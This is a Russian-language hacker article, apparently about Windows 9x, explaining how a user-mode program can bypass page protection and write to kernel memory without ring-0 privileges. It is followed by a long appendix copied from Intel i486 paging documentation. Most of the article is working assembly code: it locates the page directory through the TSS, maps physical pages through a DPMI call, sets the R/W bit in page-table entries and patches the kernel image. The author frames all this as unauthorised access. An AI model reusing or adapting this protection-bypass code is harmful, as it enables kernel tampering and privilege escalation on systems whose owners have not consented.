Глюкавость маздая продолжает радовать: судя по всему кроме кернела и кодовых секций программ не предполагалось защищать вообще ничего. Таким образом здесь будет рассказано о том, как под маздаем можно произвести запись в ЛЮБОЕ место памяти не переходя для этого в нулевое кольцо. 8-)
Таблица страниц. Что есть оно? Вся непрерывная физическая память поделена на 4-килобайтные странички, коии могут отображаться в 4-гигабайтное пространство в самые разные его места. Информация обо всем этом деле и хранится в таблице страниц.
Об адресном пространстве, таблице страниц и формате записи на одну страницу можно прочитать в конце этого текста в ПРИЛОЖЕНИИ, коее я выдрал из доки, в чем и признаюсь.
Итак, нашей задачей (как обычно) является произвести НСД - а именно запись в защищенный для записи адрес X. (все это, ясное дело, из PE файла)
О том что в адрес X писать нельзя, можно узнать двояко - либо одной из функций IsBadXXXPtr, где XXX - Read, Write, Code и т.п., либо используя SEH. Вот оба варианта:
1. функция:
push size-in-bytes push address call IsBadReadPtr or eax, eax jnz __can_not_read __can_read: ...
2. SEH:
call __seh_init ; install seh mov esp, [esp+8] stc jmp __seh_exit __seh_init: push dword ptr fs:[0] mov fs:[0], esp mov al, byte ptr [address] clc __seh_exit: pop dword ptr fs:[0]; uninstall seh pop eax jc __can_not_read __can_read: ...
Теперь переходим к вопросу: как пропатчить таблицу страниц. Для начала надо ее найти. В доке написано вот что: старшие 20 бит регистра CR3 суть физический адрес таблицы страниц, младшие 12 бит адреса равны 0 (выравнивание на страницу).
Если в PE файле написать так: mov eax, cr3 то в результате будет получен хуй. А все потому, что инструкция привилегированная, и может вызываться только из нулевого кольца. Правда, екскепшена при этом маздай не генерит, но и EAX не изменяет.
Что же делать? Можно прочитать доку по протмоде, и выяснить, что копия CR3 для текущего контекста (а надо сказать таблиц страниц может быть несколько для разных контекстов) лежит в TSS.
Где взять TSS? Селектор ейный получаем командой STR. (что-то вроде store task register) Далее все по плану:
; subroutine: get_cr3 ; output: EBX=CR3 get_cr3: push eax sgdt [esp-6] mov ebx, [esp-4] ; EBX<--GDT.base ; кстати, интересная фича: подается AX, а меняется EAX str ax ; EAX<--TSS selector and eax, 0FFF8h ; <--это может быть убрано add ebx, eax ; EBX<--TSS descriptor offset mov ah, [ebx+7] ; EAX<--TSS linear address mov al, [ebx+4] shl eax, 16 mov ax, [ebx+2] mov ebx, [eax+1Ch] ; EBX<--CR3 and ebx, 0FFFFF000h ; EBX<--pagetable phys. offs pop eax ret
Вот только что с ним делать, с физическим адресом из PE файла? В нулевом кольце его можно было бы транслировать в линейный, а в третьем - хуй. Поэтому такой метод не годится.
Кстати. Если вы в этом примере измените mov eax, [ecx+1Ch] на mov eax, [ecx+4], то вы поимеете ESP0, то бишь ESP того кода, который вызвал текущую задачу. Клево?
Теперь возникает следующий вариант: найти таблицу страниц поиском в памяти. При этом искать мы будем не каталог первого уровня, а сразу таблицу второго уровня, один из двордов которой и будет описанием страницы содержащей нужный нам адрес.
Но чтобы искать в памяти таблицу, надо знать что в ней находится. А этого мы знать не можем.
Но не все так плохо. Вышеупомянутая функция IsBadReadPtr говорит нам, можно ли читать конкретную страничку или нет. А это - уже целый бит. И точно такого же смысла бит (U/S) есть в дворде, описывающем эту же самую страничку в таблице страниц. И есть другой бит, R/W, определяющий врайтабельность страницы. Его можно получить функцией IsBadWritePtr.
ф-ция 3-го кольца биты в записи таблицы страниц чтение IsBadReadPtr U/S user/supervisor запись IsBadWritePtr R/W read/write
Таким образом, вызывая IsBadRead/WritePtr для 1024 страниц мы генерим страницу двордов, в каждом из которых устанавливаем соответствующие биты. А затем в цикле сравниваем каждый из этих двордов с двордом текущей проверяемой странички, но сравниваем не весь дворд а только эти 2 бита.
Вот так это происходит:
needtbl dd 1024 dup (?) ; return EBX=pagetable for addresses BFC00000...C0000000 find_kernel_pagetable: ; создаем свою табличку lea edi, needtbl ; наша табличка cld mov esi, 0BFC00000h ; ESI--адрес текущей страницы __maketbl: xor ebp, ebp push 4096 push esi callW IsBadReadPtr xor eax, 1 ; 0 <--> 1 shl eax, 2 ; 1 --> 4 (бит 2) or ebp, eax ; ... (то же самое для IsBadWritePtr, но shl eax, 1) mov eax, ebp stosd add esi, 4096 cmp esi, 0C0000000h jne __maketbl ; ищем такую же страницу в памяти mov ebx, 0C0000000h ; стартовый адрес поиска __cycle: push 4096 ; можно ли читать? push ebx callW IsBadReadPtr or eax, eax jnz __cont xor edi, edi ; сравниваем страницы __scan: mov eax, [ebx+edi] and eax, 2+4 ; но так, чтобы совпадали только xor eax, needtbl[edi] ; 2 бита каждого дворда jnz __cont add edi, 4 cmp edi, 4096 jb __scan clc ; нашли ret __cont: add ebx, 4096 cmp ebx, 0D0000000h ; конечный адрес поиска jb __cycle stc ; облом ret
Вот таким вот вышеприведенным куском кода и находится нужная нам страница из таблицы страниц, описывающая страницы в диапазоне BFC00000...C0000000.
Теперь надо изменить бит RW, скажем для адреса BFF70000. Делаем так:
; ищем нужную нам страницу call find_kernel_pagetable jc __damnedsonofabitch ; снимаем защиту c1 = (0BFF70000h-0BFC00000h)/1024 or dword ptr [ebx + c1], 2 ; RW=1 ; на всякий случай проверяемся push 4096 push 0bff70000h call IsBadReadPtr or eax, eax jnz __exit ; патчим кернел not dword ptr ds:[0bff70000h] ; устанавливаем защиту взад and dword ptr [ebx + c1], not 2 ; RW=0
Теперь у вас может (и должен) возникнуть такой вопрос: а откуда в двух примерах выше взялись числа BFC00000 и C0000000 ? А обо всем этом написано в приложении. Ну так вот, кратко. Все 4GB памяти делятся на 1024 куска по 4MB. Таблица страниц первого уровня описывает адреса 1024х таблиц второго уровня. А каждая из таблиц второго уровня описывает 1024 обычных страницы. Таким образом два вышеприведенных числа -- это BFF70000, округленное до 4MB в меньшую и большую сторону соответственно.
Работающий пример всего вышеописанного лежит в директории EXAMPLE1.
Ну что, думаете - это все? Ха, скажу я вам - нихуя подобного. Все о чем написано выше на поверку вышло полным отстоем, по той простой причине, что страничка из pagetable, которую мы хотим пропатчить, в линейном адресном пространстве нашей задачи (по дефолту) отсутствует.
Как отсутствует? - спросите вы. Пример-то работает. А дело в том, что отсутствует она лишь до тех пор, пока не будет вызвано нечто навроде:
push 0 push 4096 push physical-page-offset VMMcall MapPhysToLinear add esp,3*4
Примерно подобные действия наверное производит Soft-ICE, а также программа в директории EXAMPLE2. Суть вышеназванной функции заключается в вызывании VMM_PageReserve и VMM_LinPageLock, что говорит само за себя - прогружаем страничку в текущий контекст. А в голом без айса маздае не находится страничка из pagetable-а ну ни как.
Что ж делать-то, а? А вот посидел я тут ночку, и надумал такую феню. Если найти мы страничку из pagetable не можем по той причине, что ее в нашем контексте попросту нет (если мы не под айсом, конечно), то надо либо сменить контекст, либо все-таки имея CR3 научиться конвертировать физические адреса в линейные и прогружать их в память. Второй вариант прокатил с полпинка. Как уже было сказано, EXAMPLE2 производит сие действо из нуля. А нижеследующий кусок кода делает это из третьего кольца.
KERNEL@ORD0 dd 0BFF713D4h ; можно и поискать, но так проще ; subroutine: phys2linear ; input: EBX=physical address ; output: EBX=linear address phys2linear: pusha movzx ecx, bx ; BX:CX<--EBX=phys addr shr ebx, 16 mov eax, 0800h ; physical address mapping xor esi, esi ; SI:DI=size (1 byte) xor edi, edi inc edi push ecx push eax push 0002A0029h ; INT 31 (DPMI services) call KERNEL@ORD0 shl ebx, 16 ; EBX<--BX:CX=linear address or ebx, ecx mov [esp+4*4], ebx ; popa.ebx popa ret
Теперь, зная CR3 и умея легко коммитить физические адреса в линейные, мы имеем доступ ко всей pagetable, следующим образом:
; subroutine: get_pagetable_entry ; input: ESI=address ; output: EDI=pagetable entry address get_pagetable_entry: pusha call get_cr3 ; получаем CR3 and ebx, 0FFFFF000h ; EBX<--физ. адрес каталога call phys2linear ; получаем линейный адрес mov eax, esi and eax, 0FFC00000h sub esi, eax shr eax, 20 ; EAX<--адр.эл-та 1го уровня shr esi, 10 ; ESI<--адр.эл-та 2го уровня mov ebx, [ebx+eax] ; EBX<--физ.адрес нужной and ebx, 0FFFFF000h ; страницы call phys2linear ; EBX<--линейный адрес add esi, ebx ; ESI<--адрес дворда для патча mov [esp], esi ; popa.edi popa ret
Готово! А вызывается все это счастье таким раком:
mov esi, 0BFF70000H call get_pagetable_entry or dword ptr [edi], 2 ; PAGEFLAG_RW mov byte ptr [esi], xxxx ; пишем в кернел
Все это дело представлено в EXAMPLE3.
Знающие люди на этом месте скажут так: коль скоро ты умеешь вызывать INT 31, то нахуя надо вообще было все это писать? А я скажу так. Маза-то ведь была какая? Маза была не записаться в куда-то там, и не перейти в 0, а пропатчить pagetable. Так что все окей.
5.3 Трансляция страниц ----------------------------------------------------------------- Линейный адрес представляет собой 32-битовый адрес в однородном, несегментированном адресном пространстве. Это адресное пространство может являться большим физическим адресным пространством (т.е. адресным пространством, состоящим из 4 гигабайт оперативной памяти), либо может использоваться средство подкачки страниц, моделирующее это адресное пространство при помощи небольшой области оперативной памяти и некоторого количесства дисковой памяти. При использовании подкачки страниц линейный адрес транслируется в соответствующий физический адрес, либо генерируется исключение. Это исключение дает операционной системе возможность прочитать страницу с диска (возможно, вытеснив на диск другую страницу), а затем перезапустить команду, вызвавшую данное исключение. Механизм подкачки отличается от механизма сегментации тем, что в данном случае используются небольшие, имеющие фиксированный размер страницы. В отличие от сегментов, которые обычно имеют размер, равный размеру содержащихся в них структур данных, страницы процессора i486 всегда имеют размер 4К. Если сегментация является единственной используемой формой трансляции адреса, структура данных, находящаяся в физической памяти, будет иметь в памяти все свои компоненты одновременно. При использовании механизма подкачки страниц структура данных может частично находиться в оперативной памяти, и частично в дисковой памяти. Информация, обеспечивающая отображение линейных адресов в физические адреса и отвечающая за генерацию исключений в случае несоответствий, хранится в структурах данных оперативной памяти, которые называются таблицами страниц. Как и в случае сегментации, эта информация кешируется в регистрах процессора с тем, чтобы минимизировать число циклов шины, требуемое для трансляции адреса. В отличие от механизма сегментации, эти регистры процессора полностью невидимы для прикладных программ. (Для целей тестирования эти регистры видны программам, выполняемым с максимальным уровнем привилегированности: подробности см. в Главе 10). Мехпнизм подкачки страниц рассматривает 32-разрядный линейный адрес как состоящий из трех частей, а именно двух 10-разрядных индексов страничных таблиц и 12-заррядное смещение в таблице, адресуемой страничными таблицами. Поскольку как виртуальные страницы в линейном адресном пространстве, так и физические страницы памяти выравнены по 4Кбайтной границе страниц, модифицировать младшие 12 битов адреса нет необходимости. Эти 12 битов напрямую передаются аппаратному обеспечению, работающему с подкачкой страниц, независимо от того, разрешена ли подкачка в текущий момент, или запрещена. Отметим, что в этом состоит отличие от сегментации, поскольку сегменты могут начинаться с любого адреса байта. Старшие 20 битов адреса используется для индексации страничных таблиц. Если все страницы линейного адресного пространства отображались бы в одной таблице страниц в оперативной памяти, то для этого потребовалось бы 4Мб памяти. Делается это не так. Для экономии памяти используются страничные таблицы двух уровней. Страничная таблица верхнего уровня называется страничным каталогом. В нем отображаются старшие 10 битов линейного адреса табличных страниц второго уровня. Во втором уровне страничных таблиц отображаются средние 10 битов линейного адреса, задающего базовый адрес страницы в физической памяти (который называется адресом страничного блока). На базе содержимого таблицы страниц или каталога страниц может генерироваться исключение. Оно дает операционной системе возможность подкачать отсутствующую таблицу страниц с диска. Благодаря тому, что страничные таблицы второго уровня могут находиться на диске, механизм подкачки страниц может поддерживать отображение всего линейного адресного пространства при помощи всего нескольких страниц памяти. Регистр CR3 содержит адрес страничного блока каталога страниц. Поэтому он называется базовым регистром каталога страниц, или PDBR. Старшие 10 битов линейного адреса умножаются на масштабный коэффициент четыре (число байтов каждого элемента таблицы страниц) и складывается со значением регистра PDBR для получения физического адреса элемента в каталоге страниц. Поскольку адрес страничного блока всегда имеет незаполненными младшие 12 бит, то такое сложение выполняется методом конкатенации (замещения младших 12 битов масштабированным индексом). При доступе к элементу каталога страниц выполняется несколько проверок: исключения могут генерироваться, если страница защищена или отсутствует в памяти. Если особая ситуация не генерировалась, то старшие 20 битов элемента таблицы страниц используются в качестве адреса страничного блока таблицы страниц второго уровня. Средние 10 битов линейного адреса масштабируются коэффициентом четыре (снова это число равно размеру элемента таблицы страниц) и конкатенируются с адресом страничного блока для получения физического адреса элемента в таблице страниц второго уровня. И опять, выполняются проверки доступа, в результате которых возможна генерация исключений. Если же исключений не возникло, то старшие 20 битов элемента таблицы страниц второго уровня конкатенируются с младшими 12 битами линейного адреса, образуя физический адрес операнда (данных) в оперативной памяти. Хотя такой процесс и может показаться сложным, затраты процессорного сремени на него невелики. Процессор имеет кеш элементов таблицы страниц, который называется ассоциативным буфером трансляции адреса (TBL). TBL удовлетворяет большинство запросов чтения страничных таблиц. дополнительные циклы шины затрачиваются только при доступе к новым страницам памяти. Размер страницы (4К) достаточно велик, поэтому по сравнению с числом циклов шины, затрачиваемых на выполнение команд и обращение к данным, число циклов для доступа к таблицам страниц относительно невелико. Одновременно с этим размер страницы достаточно мал, чтобы память использовалась наиболее эффективно. (Независимо от фактической величины структуры данных, она занимает не меньше одной страницы памяти).
5.3.3 Таблицы страниц ----------------------------------------------------------------- Таблица страниц представляет собой массив, состоящий из 32-разрядных элементов. Таблица страниц сама является страницей и содержит 4096 байтов памяти, или максимум 1Кб 32-разрядных элементов. Все страницы, включая каталоги страниц и таблицы страниц, выровнены по границе 4Кб. Для адресации страницы памяти используется два уровня таблиц. Старший уровень называется каталогом страниц. Он адресует до 1К страничных таблиц второго уровня. Таблица страниц второго уровня адресует до 1К страниц в физической памяти. Таким образом, все таблицы, адресуемые одним каталогом страниц, могут адресовать до 1М или 2**20 страниц. Поскольку каждая страница содержит 4К, или 2**12 байтов, таблицы одного каталога страниц покрывают все линейное адресное пространство процессора i486 (2**20 x 2**12 = 2 **32). Физический адрес текущего страничного каталога хранится в регистре CR3, который также называется базовым регистром каталога страниц (PDBR). Программное обеспечение организации памяти имеет опции использования одного каталога страниц для всех задач, одного каталога страниц для каждой задачи, либо некоторой комбинации этих двух опций. В Главе 10 приводится информация об инициализации регистра CR3. О том, как содержимое CR3 может изменяться для каждой задачи, см. в Главе 7.
5.3.4 Элементы таблицы страниц ----------------------------------------------------------------- Элементы страничных таблиц обоих уровней имеют одинаковый формат. Этот формат показан на Рисунке 5-14. 5.3.4.1 Адрес страничного блока ----------------------------------------------------------------- Адрес страничного блока является базовым адресом страницы. В элементе страничной таблицы старшие 20 битов используются для задания адреса страничного блока, а младшие 12 битов задают управляющие биты и биты состояния для данной страницы. В каталоге страниц адрес страничного блока представляет собой адрес таблицы страниц второго уровня. В таблице страниц второго уровня адрес страничного блока - это адрес страницы, которая содержит команды или данные. 5.3.4.2 Бит присутствия ----------------------------------------------------------------- Бит Присутствия указывает на то, отображается ли адрес страничного блока из таблицы страниц страницей в физической памяти. Если данный бит установлен, то страница находится в памяти. Если бит Присутствия очищен, то страница не находится в памяти, и остальная часть данного элемента таблицы страниц доступна для использования операционной системой, например, для хранения информации о том, где находится эта отсутствующая страница. На Рисунке 5-15 показан формат элемента таблицы страниц, когда бит Присутствия очищен. ~~~ 31 12 11 0 --------------------------------------------------------- | | | | | |P|P|U|R| | |Адрес страничного блока 31..12 |AVAIL|0 0|D|A|C|W|/|/|P| | | | | | |D|T|S|W| | --------------------------------------------------------- P - Присутствие R/W - Чтение/З пись U/S - Пользователь/Супервизор PWT - Запись Страницы прозрачна PCD - Кеширование на уровне страниц запрещено A - Доступ произошел D - "Грязная" AVAIL - Доступны для использования системным программистом Примечание: 0 означает резервирование Intel. Не выполняйте определение этих битов. Рисунок 5-14. Формат элемента таблицы страниц 31 1 0 -------------------------------------- | Доступны |0| -------------------------------------- Рисунок 5-15. Формат элемента таблицы страниц для не-Присутствующей таблицы Если бит Присутствия на любом уровне таблицы страниц очищен, когда делается попытка использовать данный элемент таблицы для адресной трансляции, то происходит такая последовательность событий: 1. Операционная система копирует страницу с дисковой памяти в физическую память. 2. Операционная система загружает адрес страничного блока в элемент таблицы страниц и устанавливает бит Присутствия. Прочие биты, например, бит Чтения/Записи, также могут при этом быть установлены. 3. Поскольку в буфере ассоциативной трансляции (TLB) все еще может находиться копия старого элемента таблицы страниц, то операционная система очищает этот буфер. Буфер TLB и способы его очистки рассматриваются в разделе 5.3.5. 4. Выполняется рестарт программы, вызвавшей исключение. Поскольку CR3 не имеет бита Присутствия, который указывал бы на те случаи, когда каталог страниц не находится в оперативной памяти, каталог страниц, на который указывает CR3, должен находиться в физической памяти всегда. 5.3.4.3 Биты Доступа и "Грязная" ----------------------------------------------------------------- Эти биты содержат данные об использовании страницы на обоих уровнях страничных таблиц. Бит Доступа используется для сообщения о доступе на чтение или запись к странице или страничной таблице второго уровня. Бит "Грязная" сообщает о доступе к странице для записи. За исключением бита "грязная" в элементах каталога страниц, эти биты устанавливаются аппаратным обеспечением; однако процессор не очищает ни один из этих битов. Процессор устанавливает биты Доступа на обоих уровнях страничных таблиц до операции чтения или записи страницы. Процессор устанавливает бит "Грязная" в таблице страниц второго уровня, прежде чем выполнить операцию записи по адресу, отображаемому данным элементом таблицы. Бит "Грязная" в элементах каталога страниц не определен. Операционная система может использовать бит Доступа, когда ей требуется создать некоторую свободную область памяти, посылая страницу или таблицу страниц второго уровня на диск. Периодически очищая биты Доступа в страничных таблицах, она может определять, какие страницы были использованы последними. Не используемые страницы являются кандидатами на пересылку в дисковую память. Операционная система может использовать бит "Грязная", когда страница посылается обратно на диск. Очищая бит "Грязная" при пересылке страницы в оперативную память, операционная система может определить, произошел ли какой-либо доступ записи к этой странице. Если имеется копия этой страницы на диске и копия в оперативной памяти не была изменена операциями записи, то обновлять соответствующую копию на диске из оперативной памяти нет необходимости. О том, как процессор i486 обновляет биты Доступа и "Грязная" в многопроцессорных системах, написано в Главе 13. 5.3.4.4 Биты Чтения/Записи и Пользователя/Супервизора ----------------------------------------------------------------- Биты Чтения/Записи и Пользователя/Супервизора используются для защитных проверок страниц, выполняемых процессором одновременно с трансляцией адреса. Более подробную информацию о защите см. в Главе 6. 5.3.4.5 Биты управления кешем страничного уровня ----------------------------------------------------------------- Биты PCD и PWT используются для организации кеша страничного уровня. Программное обеспечение может при помощи этих битов управлять кешированием отдельных страниц или страничных таблиц второго уровня. Более подробную информацию о кешировании см. в Главе 12.
6.8 Защита на уровне страниц ----------------------------------------------------------------- Защита работает как на уровне сегментов, так и на уровне страниц. При использовании плоской модели сегментации памяти защита на уровне страниц также предотвращает недопустимое взаимное влияние между программами. Каждая ссылка к памяти контролируется на удовлетворение проверок защиты. Все проверки выполняются до начала цикла обращения к памяти; любое нарушение защиты предотвращает начало этого цикла и генерирует исключение. Поскольку эти проверки выполняются параллельно с трансляцией адреса, они не влекут дополнительных затрат времени процессора. Существует два вида проверки защиты на уровне страниц: 1. Ограничения на адресуемый домен памяти. 2. Проверка типа. Нарушение защиты приводит к генерации исключения. Механизм исключений описан в Главе 9. В данной главе описаны нарушения защиты, ведущие к исключениям. 6.8.1 Элементы страничных таблиц содержат параметры защиты ----------------------------------------------------------------- На Рисунке 6-10 показаны поля элемента страничной таблицы, которые управляют доступом к странице. Проверки защиты применяются к страничным таблицам как первого, так и второго уровня. 6.8.1.1 Ограничения адресуемого домена памяти ----------------------------------------------------------------- Для страниц и сегментов понятие привилегированности интерпретируется по-разному. Для сегментов существует четыре уровня привилегированности, лежащих в диапазоне от 0 (высший уровень привилегированности) до 3 (низший уровень привилегированности). для страниц существует два уровня привилегированности: 1. Уровень супервизора (U/S=0) - для операционной системы, прочего системного программного обеспечения (например, драйверов устройств), а также для защищаемых системных данных (например, страничных таблиц). 2. Уровень пользователя (U/S=1) - для прикладных кодов и данных. Уровни привилегированности, используемые в сегментации, отображаются в уровнях привилегированности страниц. Если CPL равен 0, 1 или 2, то процессор работает на уровне супервизора. Если же CPL равен 3, то процессор работает на уровне пользователя. Когда процессор работает на уровне супервизора, все страницы являются доступными. Когда процессор работает на уровне пользователя, доступны только страницы, имеющие уровень пользователя. 31 12 11 0 -------------------------------------------------------------- | | | | | |P|P|U|R| | | Адрес страничного блока 31...12 |Доступн|0 0|D|A|C|W|/|/|P| | | | | | |D|T|S|W| | -------------------------------------------------------------- R/W Чтение/Запись U/S пользователь/Супервизор Рисунок 6-10. Поля защиты элемента страничной таблицы 6.8.1.2 Проверка типа ----------------------------------------------------------------- Механизмом защиты распознаются только два вида страниц: 1. Доступ Только для Чтения (R/W=0) 2. Доступ на Чтение/Запись (R/W=1). Когда процессор работает на уровне супервизора при очищенном бите WP в регистре CR0 (в состоянии бита, соответствующем инициализации при сбросе системы), все страницы являются одновременно доступными для чтения и записи (признак защиты записи игнорируется). Когда процессор работает на уровне пользователя, то для записи доступны лишь страницы уровня пользователя, помеченные признаком Чтение/Запись. Страницы уровня пользователя, помеченные для Чтения/Записи или Только для Чтения, являются доступными для чтения. Страницы уровня супервизора с уровня пользователя недоступны ни для чтения, ни для записи. При попытке нарушения прав доступа к защищенным страницам генерируется исключение общей защиты. В отличие от процессора 386 DX процессор i486 позволяет защищать страницы уровня пользователя от записи в режиме доступа супервизора. Установка бита WP в регистре CR0 включает чувствительность режима супервизора к защите страниц от записи в режиме пользователя. Это средство полезно для реализации стратегии "записи-на-копии", используемой некоторыми операционными системами, например UNIX, для создания задачи (это средство также называется порождением параллельных процессов или просто порождением). При создании новой задачи можно скопировать все адресное пространство порождающей задачи. Это дает порожденной задаче полный, дубликатный набор сегментов и страниц порождающей задачи. Стратегия "записи-на-копии" экономит область памяти и время, отображая порожденные сегменты и страницы в тех же сегментах и страницах, что используются порождающей задачей. Частная копия страницы создается только в случае, когда одна из задач выполняет запись в эту страницу.